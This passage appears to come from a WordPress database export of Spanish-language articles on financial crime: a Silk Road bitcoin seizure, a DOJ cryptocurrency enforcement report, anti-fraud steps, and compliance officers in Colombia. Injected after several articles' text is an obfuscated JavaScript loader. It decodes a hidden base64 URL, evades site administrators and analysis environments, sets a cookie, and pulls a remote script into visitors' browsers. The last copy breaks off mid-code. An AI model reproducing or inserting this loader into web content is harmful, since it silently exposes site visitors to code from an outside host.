incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 